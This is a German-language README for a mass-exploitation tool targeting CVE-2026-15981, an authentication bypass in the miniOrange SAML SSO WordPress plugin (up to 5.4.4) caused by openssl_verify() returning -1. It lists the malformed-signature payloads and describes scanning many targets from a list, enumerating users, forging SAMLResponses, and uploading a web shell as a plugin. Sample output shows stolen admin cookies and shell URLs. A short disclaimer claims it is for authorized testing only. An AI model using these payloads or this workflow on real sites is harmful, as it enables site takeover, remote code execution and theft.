
SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den Parameter SAMLResponse
SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den SAMLResponse-Parameter
Proof-of-Concept-Exploit
Fehlerhafte Signatur → `openssl_verify()` gibt `-1` zurück → PHP-Loose-Cast auf `true` → `wp_set_auth_cookie()` als Administrator
Das Plugin SAML Single Sign On – SSO Login für WordPress ist in allen Versionen bis einschließlich 5.4.4 anfällig für eine Authentifizierungsumgehung. Dies liegt daran, dass die Funktion mo_saml_validate_signature() eine lose boolesche Prüfung auf dem rohen Tri-State-Integer durchführt, den PHP's openssl_verify() zurückgibt, wodurch ein Fehler-Rückgabewert von -1 als truthy ausgewertet und daher als erfolgreiche Signaturprüfung behandelt wird.
Dies ermöglicht es nicht authentifizierten Angreifern, sich als beliebige vorhandene WordPress-Benutzer, einschließlich Administratoren, anzumelden, indem sie eine manipulierte SAMLResponse übermitteln, die eine angreiferkontrollierte NameID und einen absichtlich fehlerhaften Signaturwert enthält, der einen OpenSSL-Verarbeitungsfehler auslöst — wodurch die Verifizierung vollständig umgangen wird und wp_set_auth_cookie() für das Zielkonto aufgerufen wird.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
Der Fix ist trivial — if ($result === 1) statt if ($result) — doch die Auswirkung der Schwachstelle ist eine vollständige Authentifizierungsumgehung.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login-Weiterleitungen und extrahiert IdP-Basis-URLslxml</Issuer> gemäß SAML-Spezifikationopenssl_verify() = -1 auszulösenwordpress_logged_in_*-CookiePython >= 3.8
pip install requests lxml
lxmlist erforderlich für die korrekte Exclusive-C14N-Kanonisierung der SAML-Assertion.
python CVE-2026-15981.py
Sie werden zu Folgendem aufgefordert:
| Abfrage | Beschreibung | Standard |
|---|---|---|
| Zieldatei | Pfad zu einer Textdatei mit einem Ziel pro Zeile | list.txt |
| Threads | Anzahl der parallelen Worker (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Eine URL pro Zeile. HTTP wird standardmäßig verwendet, wenn kein Schema angegeben ist.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Jedes Ziel durchläuft 7 beschriftete Phasen:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| Datei | Inhalt |
|---|---|
sms.txt | Eine Zeile pro bestätigter Admin-Sitzung — Zeitstempel, Ziel, Benutzer, Cookie, Shell-URL, Issuer, Signaturmethode |
sms_debug.json | Vollständiges Diagnose-JSON für jedes Ziel — einschließlich Versuchszählern und Fehlerklassifizierungen |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
Der Exploit enthält 12+ Signatur-Payloads, die gezielt dafür entwickelt wurden, openssl_verify() = -1 auszulösen:
Jeder Payload wird mit SHA-1- und SHA-256-Algorithmus-URIs kombiniert und mit/ohne Audience-Einschränkung über mehrere SP-Entitäts-IDs getestet — was die Chance maximiert, den -1-Rückgabepfad auf jeder OpenSSL-Version zu treffen.
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests sowie Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche schriftliche Genehmigung besitzen.
Unbefugter Zugriff auf Computersysteme ist eine Straftat. Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieser Software entstehen. Sie sind allein dafür verantwortlich, die Einhaltung aller geltenden Gesetze und Vorschriften in Ihrer Rechtsordnung sicherzustellen.
Von: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-15981 |
| Betroffenes Plugin | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Betroffene Versionen | Alle Versionen bis einschließlich 5.4.4 |
| Typ | Nicht authentifizierte Authentifizierungsumgehung |
| CWE | CWE-287: Fehlerhafte Authentifizierung / CWE-305: Authentifizierungsumgehung durch primäre Schwachstelle |
| CVSS 3.1 | 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentifizierung | Keine erforderlich |
/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD-Signatur im Antworttext| Payload | Beschreibung |
|---|
0xFF * 256 | 256 Bytes 0xFF — ungültiges PKCS#1-Padding |
0xFF * 384 | 384 Bytes für RSA-3072-Schlüssellängen |
0xFF * 512 | 512 Bytes für RSA-4096-Schlüssellängen |
0xFF * 128 | Kürzerer Puffer für kleinere Schlüssellängen |
0xFF * 64 | Minimales ungültiges Padding |
0x00 0x01 0xFF*254 | Sieht wie PKCS#1 v1.5 aus, aber mit falscher Struktur |
0x00 0x01 0xFF*126 | Kürzere PKCS#1-ähnliche Struktur |
null_2B | Zwei an Null angrenzende Bytes |
rand_3B / rand_7B | Zufällige Bytes — löst Parsing-Fehler aus |
asn1_bad | Fehlerhafte ASN.1-DER-Sequenz |
ff_1B | Einzelnes 0xFF-Byte |